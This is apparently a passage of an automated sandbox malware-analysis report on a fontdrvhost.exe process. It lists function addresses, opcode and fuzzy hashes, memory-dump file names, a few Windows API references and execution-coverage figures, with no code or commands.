String ID:
API String ID:
Opcode ID: 3750f98b5c0c7e730ff496b1ffe6793dff22d2e8a178991ca7e0eac30b64eb47
Instruction ID: 0a4998cd1825820a9391cd3dc146169900a15715636d504fd2521edb071ad27e
Opcode Fuzzy Hash: 3750f98b5c0c7e730ff496b1ffe6793dff22d2e8a178991ca7e0eac30b64eb47
Instruction Fuzzy Hash: BE01C030D0834D8FEB54DF95C8585ED7BB1EF15310F14427EC425972A6DA74A906CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA64879 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d4821acd004ab0f26a3d402a890dc5bc79c4a76cbd1ee3ca0d877cf75bbbf21
Instruction ID: ced90b726cad40df2ce242704e9e399a4239e2b285292b491022b3179ae1c59e
Opcode Fuzzy Hash: 5d4821acd004ab0f26a3d402a890dc5bc79c4a76cbd1ee3ca0d877cf75bbbf21
Instruction Fuzzy Hash: 8F018F7190968DCFCB85DF64C8546ED7BB0FF25300F05019AD418C71A2DB349A44CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA6A789 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 059c80b4286a8817d294a938abd6267fc214bcd4e0de39cd9e0dae5e0dbfc6ff
Instruction ID: 8a8055ffafffb87d5cdc717c6477f2a6d896f2741798a68acc392bbd861ad726
Opcode Fuzzy Hash: 059c80b4286a8817d294a938abd6267fc214bcd4e0de39cd9e0dae5e0dbfc6ff
Instruction Fuzzy Hash: 42018F7090868C8FCB85DF24C868A997FF0FF55300F0500EAD409C71A2D7759954CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA5D7F0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0cc7ec3369932692ccbebbf2e2a164ca6e70588988d0f8c1d2ecd4afb9c0e84
Instruction ID: b4a06f232a46bfffff5914f0eed6687c54de7d1ab6484895218d4f00a1e53c2b
Opcode Fuzzy Hash: a0cc7ec3369932692ccbebbf2e2a164ca6e70588988d0f8c1d2ecd4afb9c0e84
Instruction Fuzzy Hash: 66F0EC30914A4D9FDF44EF58C859AE97BF0FB68305F00456AA85DD3250DB30A694CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA1670C Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba10000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a09f50adfc75588805bbaef93122d5fe615db1cfee41c67bffdc149ca2585e8f
Instruction ID: 0f970cd56a5f25fdb1300ff3c64a6a0ecdcdfc0bfa7b2b52f70ce09caf473c1c
Opcode Fuzzy Hash: a09f50adfc75588805bbaef93122d5fe615db1cfee41c67bffdc149ca2585e8f
Instruction Fuzzy Hash: 7D012930A0555E8FEBB4EB18C8987F9B3B1EF54302F1082F6D41DA2299DA742E81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA5B130 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 824ae1838e332e8b5cd7f8c154ad94833c5e9d00e0a300b0e8f9b7db70a70a0c
Instruction ID: 7a70b6367e02ad908ee74ddb566512640904efa81408c1221debc5bede65459b
Opcode Fuzzy Hash: 824ae1838e332e8b5cd7f8c154ad94833c5e9d00e0a300b0e8f9b7db70a70a0c
Instruction Fuzzy Hash: CDF0BD3091490D9FDF84EF68C498AAA7BF1FB68305F50419AA41DD32A0DB719694CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA2863D Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA28000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA28000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba28000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04f7f83a68e4f50346af384cc2447061e9f89d51487e5dd1ab1445e338f01b89
Instruction ID: 2474b71bcb26ec5a54b8083109143fc3132b77f1efb3859a458b7ae5bad5a55b
Opcode Fuzzy Hash: 04f7f83a68e4f50346af384cc2447061e9f89d51487e5dd1ab1445e338f01b89
Instruction Fuzzy Hash: 95F09A3090968DCFCB94EF18C8A5ADA3BE0FF28300F0501A6E858C7162D774E9A0CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA61FC8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 880677bd27ec95036ed7989b8e529f777f18915092ec2a662d2ea627fcb28cd8
Instruction ID: 47842fc4b72e1ded867ffe1289f465ed7e016a10776dab215a5e9bd5056aa0e6
Opcode Fuzzy Hash: 880677bd27ec95036ed7989b8e529f777f18915092ec2a662d2ea627fcb28cd8
Instruction Fuzzy Hash: 5EF0BD70914A4D9FDF94EF54C454AEA7BB0FF58305F1041AAE41DD3260DB71A694CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA67B38 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 298e9034b8cc6826a9079cf4814ab5b5f40cc6dfe2988624cfed520e4d5e1f1f
Instruction ID: 1afad90637a74c26745a875a92f8b922dff26f1b7999b700c4195162c58be19d
Opcode Fuzzy Hash: 298e9034b8cc6826a9079cf4814ab5b5f40cc6dfe2988624cfed520e4d5e1f1f
Instruction Fuzzy Hash: 99F01D7090490D9FCF94EF54C494AAA7BF0FF68304F1140AAE41DD3260DB71A690CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA314B9 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA2B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA2B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba2b000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfa1dcafff2f0d16f4cf50fd4296eb32325cf09fc6c0d0a9c7ea0180b71b0917
Instruction ID: 44fd8e382d1352a1c4a279db0f8fce6a33b31adecb0d18acac3fea726eef7fce
Opcode Fuzzy Hash: cfa1dcafff2f0d16f4cf50fd4296eb32325cf09fc6c0d0a9c7ea0180b71b0917
Instruction Fuzzy Hash: ABF01270D4E21D8EEB70DBF584542FCBAF0AF15301F31057AD00A931A7D67896448F00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA66201 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ffe8383090676719d9fa534f0561d664ce99d0014e011123dc6a56bdc51229e
Instruction ID: 0ed4c333f376ecc8475e96671c7002fcc5b567101b123b2d2ee726c4f41e5bec
Opcode Fuzzy Hash: 5ffe8383090676719d9fa534f0561d664ce99d0014e011123dc6a56bdc51229e
Instruction Fuzzy Hash: 45E0927190484DDFDF50DF98D886ADD3BB0FF10700F404065F508D7161DA34E5508780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA359FB Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA2B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA2B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba2b000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9de656d7c6931718515f53e44f8f1df90224b5589a59b66bde3d8e5166319772
Instruction ID: c3bcb37d9a0e7cb2f76c580e0c97644a43d9b1c386f62144315301d941fcd5de
Opcode Fuzzy Hash: 9de656d7c6931718515f53e44f8f1df90224b5589a59b66bde3d8e5166319772
Instruction Fuzzy Hash: B0E03071E5960D4EEB64DB9888756E963A1FF88390F0100B5D40DC62A2CD6829418F50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA62D05 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b60e7314e0e7a6917b7b76d5cb5e281fd5fa7f9e58c14a2e6a8d8c62b95c830
Instruction ID: 76813d03dca60a1f9f463ae4a4a7812467bdf3c79f6ba350c0620e786a7d1446
Opcode Fuzzy Hash: 9b60e7314e0e7a6917b7b76d5cb5e281fd5fa7f9e58c14a2e6a8d8c62b95c830
Instruction Fuzzy Hash: EDD0237650B28ECFE7224FE09D394FD3F10DF4251570F01A5E4BD0B4329951E5144290

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA30A34 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA2B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA2B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba2b000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 304aedf782e6912f1dc6282bd3a5a6be04ee421e90ac0fb8096d2f30875047d6
Instruction ID: 4c024d61ca081558519ce34f7c1940be14d1e3255095e7c28370a500408f3bb9
Opcode Fuzzy Hash: 304aedf782e6912f1dc6282bd3a5a6be04ee421e90ac0fb8096d2f30875047d6
Instruction Fuzzy Hash: FCE08630E2851E5BEB54DB68D4A0BFE3BF1EF54600F000074E45992296CE242801CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA12303 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba10000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05765196e01142898ae2eb440d506bb49c41ce17730a00d0ae9cdbaf278e5045
Instruction ID: a69507d38429f46e35a784b6e37325e2fab7bc4827afe9978630dcb265c5d295
Opcode Fuzzy Hash: 05765196e01142898ae2eb440d506bb49c41ce17730a00d0ae9cdbaf278e5045
Instruction Fuzzy Hash: 71E01270E0A21D8EEBB4AB50C8547AC7371EB54300F1050F9D50E62290CA781B80CF05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA672A7 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f57375be7e105ee6ef306c5d7a77a2f3e95b623cfb3729299eb648c27aba2c3
Instruction ID: a72ca1cc90bcebccd1f6c4f9f21dfddf72c815ce8b333596d279d4392ea09854
Opcode Fuzzy Hash: 2f57375be7e105ee6ef306c5d7a77a2f3e95b623cfb3729299eb648c27aba2c3
Instruction Fuzzy Hash: 7DD0A9B0E2691DCEFBA18B6888697A123E1FB18300F0001AA940883212CA306942CF00

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: fontdrvhost.exePID: 7376, Parent PID: 1704COMMON

Execution Graph

Execution Coverage:	4.7%
Dynamic/Decrypted Code Coverage:	83.3%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9C1078B0 Relevance: .9, Instructions: 875
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3caaf633ffc53242918a7d856e32bfaadc8e49c2f9bca6e28a6defc55a1dda08
Instruction ID: fbc148526f487d8ea8aed686b4759d3742d29ff3c4f53435aecade28732f52ec
Opcode Fuzzy Hash: 3caaf633ffc53242918a7d856e32bfaadc8e49c2f9bca6e28a6defc55a1dda08
Instruction Fuzzy Hash: B3521531B0CA4E8FEBA9DB58C865AB977F1FF45350F1001B9D04ED7292DA25AC42CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA20DA8 Relevance: .3, Instructions: 301
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c71f79bdefe3423725ac78f1f0ad485dd33c40345125345868f4371ec32abc66
Instruction ID: 3e243ba7ce47fb957f2f87563f069b936bbc1b8e42037c2b20a274d7619774de
Opcode Fuzzy Hash: c71f79bdefe3423725ac78f1f0ad485dd33c40345125345868f4371ec32abc66
Instruction Fuzzy Hash: B1A1E371A09A8D8FE7A8EB6CC8657A97FE2FF55310F0001BAD049D72E6CB791811CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA20B47 Relevance: 2.6, Strings: 2, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!k9, xrefs: 00007FFD9BA20B4E
c9, xrefs: 00007FFD9BA20B56

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID: c9$!k9
API String ID: 0-3254877420
Opcode ID: 3389574b12815a7c11987d733a4392b3c250553830cfec1bfa945948d44555d9
Instruction ID: 504049a18656693036e9811987a921c2186eb7f244c306dc473f1cd805bc8c44
Opcode Fuzzy Hash: 3389574b12815a7c11987d733a4392b3c250553830cfec1bfa945948d44555d9
Instruction Fuzzy Hash: 9B11DF32A2864E8FCB55EF6CE8915E977A0FB59325F0101B6E849D3260D730A565CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBE02F9 Relevance: 1.6, APIs: 1, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNEL32 ref: 00007FFD9BBE03D1

Memory Dump Source

Source File: 0000000E.00000002.1855998458.00007FFD9BBD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9bbd0000_fontdrvhost.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: c30b0b55c3dac96b62d21cab9e8402357d58aa5ae3c28b2b1e37b178af2e1579
Instruction ID: a384092ee6946d0d148dc75768c520047534c2519d862ce3d869dff1829ce233
Opcode Fuzzy Hash: c30b0b55c3dac96b62d21cab9e8402357d58aa5ae3c28b2b1e37b178af2e1579
Instruction Fuzzy Hash: D0417070D0865C8FDB59DF98D895BECBBF0FF5A310F1041AAD049D7292DA74A845CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBDEAAD Relevance: 1.6, APIs: 1, Instructions: 141
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SuspendThread.KERNEL32 ref: 00007FFD9BBDEB81

Memory Dump Source

Source File: 0000000E.00000002.1855998458.00007FFD9BBD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9bbd0000_fontdrvhost.jbxd

Similarity

API ID: SuspendThread
String ID:
API String ID: 3178671153-0
Opcode ID: b3346826dec1adc2bb6d5d7149f84e6ddea0c0a7f0f4f65cbd4942d5ed6ce37f
Instruction ID: 20d975b224b5392af9e62a0830b38d0a3788364267f99dec587e471131481e51
Opcode Fuzzy Hash: b3346826dec1adc2bb6d5d7149f84e6ddea0c0a7f0f4f65cbd4942d5ed6ce37f
Instruction Fuzzy Hash: 72416C74E0864D8FDF58DFA8D894AEDBBF0FB5A310F10416AD44AE7292DA34A845CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBE1F85 Relevance: 1.6, APIs: 1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNEL32 ref: 00007FFD9BBE2052

Memory Dump Source

Source File: 0000000E.00000002.1855998458.00007FFD9BBD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9bbd0000_fontdrvhost.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1238ea99bd6467ef5660219bc2e18ff51e657dfa9d2ecaedc04ae494cac88961
Instruction ID: fbd7e0f52c8a8011ce2196cc4a976dee90938b196a75f3436cdffdd04731f6a8
Opcode Fuzzy Hash: 1238ea99bd6467ef5660219bc2e18ff51e657dfa9d2ecaedc04ae494cac88961
Instruction Fuzzy Hash: 95410A70E08A1C8FDB98EF98D495BEDBBF0FB59310F14416AD009E7252DA71A885CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBE01DF Relevance: 1.6, APIs: 1, Instructions: 125
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 00007FFD9BBE0291

Memory Dump Source

Source File: 0000000E.00000002.1855998458.00007FFD9BBD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9bbd0000_fontdrvhost.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: a706e3d5b977a6e42b1e333905c1a90876708b2b536ca9622142670172f97e01
Instruction ID: 484be65edacced63bc4e5209014031d3a2e9fc4fb25c1a68e4fd6c6c04f1b7ef
Opcode Fuzzy Hash: a706e3d5b977a6e42b1e333905c1a90876708b2b536ca9622142670172f97e01
Instruction Fuzzy Hash: 8A41F870E08A1C8FDB98EF98D899BEDBBF0FB59310F10416AD409E7251DA71A885CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10B3F8 Relevance: 1.4, Strings: 1, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00007FFD9C10B472

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 632c56feca1157a80622e8f3af5e15c6041bfa3024f0a3dae6e12b56a7ba4d8e
Instruction ID: 4755c893b863e0b682291c60720f03b5116f831dd53c6e882ae8d56065c136d5
Opcode Fuzzy Hash: 632c56feca1157a80622e8f3af5e15c6041bfa3024f0a3dae6e12b56a7ba4d8e
Instruction Fuzzy Hash: 2F515C32E0860A8FDB69DF98C4A05BDB7B1FF58340F1041BED41AEB2D6DA346941CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA216D3 Relevance: 1.3, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-L_^, xrefs: 00007FFD9BA21701

Memory Dump Source

Source File: 0000000E.00000002.1850668071.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9ba20000_fontdrvhost.jbxd

Similarity

API ID:
String ID: -L_^
API String ID: 0-3144474931
Opcode ID: 38a975c46803fa4c72b62f73b7463cf418a0d7950dca1a6254cb732688fc197d
Instruction ID: 7fe31a6308b206abafd9baa3e8b47b18e8f0610588be34f220b9adc661a6b0f8
Opcode Fuzzy Hash: 38a975c46803fa4c72b62f73b7463cf418a0d7950dca1a6254cb732688fc197d
Instruction Fuzzy Hash: 7F012B31B1E24A9FD711FFB8EDA19ED7BA0EF01324F080172E45DC2093E9256618C381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10D117 Relevance: 1.2, Instructions: 1197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 607ea52f930707a31f123ce9ed9e4dd1b6c637e0b80dfbfdca710cdf63c115da
Instruction ID: c76fac6efdaa5f03860f9d2b88e58115e6d9af22247565b2df4f2bc4d6f457cf
Opcode Fuzzy Hash: 607ea52f930707a31f123ce9ed9e4dd1b6c637e0b80dfbfdca710cdf63c115da
Instruction Fuzzy Hash: 59821B23B0D6975BF715FBACA8B64E57BF0EF02354B0801B7D49E8A0D3DD1A64498389

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1006B1 Relevance: .4, Instructions: 409
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 154b963bd9bd1744b1bd7b9c2077b8d9ad14029e17b2aaa378e7e31fcb610d6c
Instruction ID: ed49746e34aa79cc999cf7b2351185a3f08de1987ef98aa92e69687969329be7
Opcode Fuzzy Hash: 154b963bd9bd1744b1bd7b9c2077b8d9ad14029e17b2aaa378e7e31fcb610d6c
Instruction Fuzzy Hash: 0BE1DF32A0DA478FE378DB68D4A15B577F1FF44340B94457EC48E836A2DE29B8428B85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10B66F Relevance: .4, Instructions: 362
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0c8c0d2066046c735205ff8606dabce9f2b57ee2ce73f56c15d1122c961bdcc
Instruction ID: 46d8dc2cd4f3c1ac1279445dc20dfda349cefd4a898fc1f500a4dd525f825d44
Opcode Fuzzy Hash: d0c8c0d2066046c735205ff8606dabce9f2b57ee2ce73f56c15d1122c961bdcc
Instruction Fuzzy Hash: F7D1BE716189168FEB58CF58C4E16B437B1FF49350B5446BDC85A8B68BCA38F8C2CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10B68F Relevance: .3, Instructions: 333
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84d8ec985e674a11bd68afb47af34ddab0afd2a0a11b469b9ae923f9345f6e8e
Instruction ID: 5d77a4f69dbeb158bef534a4df21aefac7b94c445b4872b99f4031802ea71ccd
Opcode Fuzzy Hash: 84d8ec985e674a11bd68afb47af34ddab0afd2a0a11b469b9ae923f9345f6e8e
Instruction Fuzzy Hash: E5C1DE71618A568BEB2DCF58C0E15B137B1FF45350B5446BDC89B8B6CBCA38E881CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C1086FA Relevance: .3, Instructions: 313
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7df43dad0ab797f749c7e8f762441aa9d68dfce0fcf77ca2e6bdabb8ddd879e8
Instruction ID: fb08a515945832dc7b61c2f97f5158c6fdb316f58f247e9fce4c0957fe826825
Opcode Fuzzy Hash: 7df43dad0ab797f749c7e8f762441aa9d68dfce0fcf77ca2e6bdabb8ddd879e8
Instruction Fuzzy Hash: 0D318D22B1ED5BCFFB74EA9884615B877B0EF99394F1400BBD45EE61C2CE6828408746

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10E03F Relevance: .3, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b63ffce69231721f1bc8c023ae9ace54610b8e43ac677f76be8e39899771e831
Instruction ID: 99e08a8d2f24e132b41fb6f26e6b2c210c61467a073dfc9717eda36a969abb1c
Opcode Fuzzy Hash: b63ffce69231721f1bc8c023ae9ace54610b8e43ac677f76be8e39899771e831
Instruction Fuzzy Hash: F6411623F0C61781F735BBD970B18F857A09F043D4F1545BAE88E9A1C7CD1B78544289

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10E0D4 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1867212775.00007FFD9C100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9c100000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c47954bdbc62658f63ce42bd2d8aff775458514fb4300267d73a4b77493be71a
Instruction ID: 5b389c9601bc3ca3de3c40285cf37580fc804a63a4d4202428050ab59b749791
Opcode Fuzzy Hash: c47954bdbc62658f63ce42bd2d8aff775458514fb4300267d73a4b77493be71a
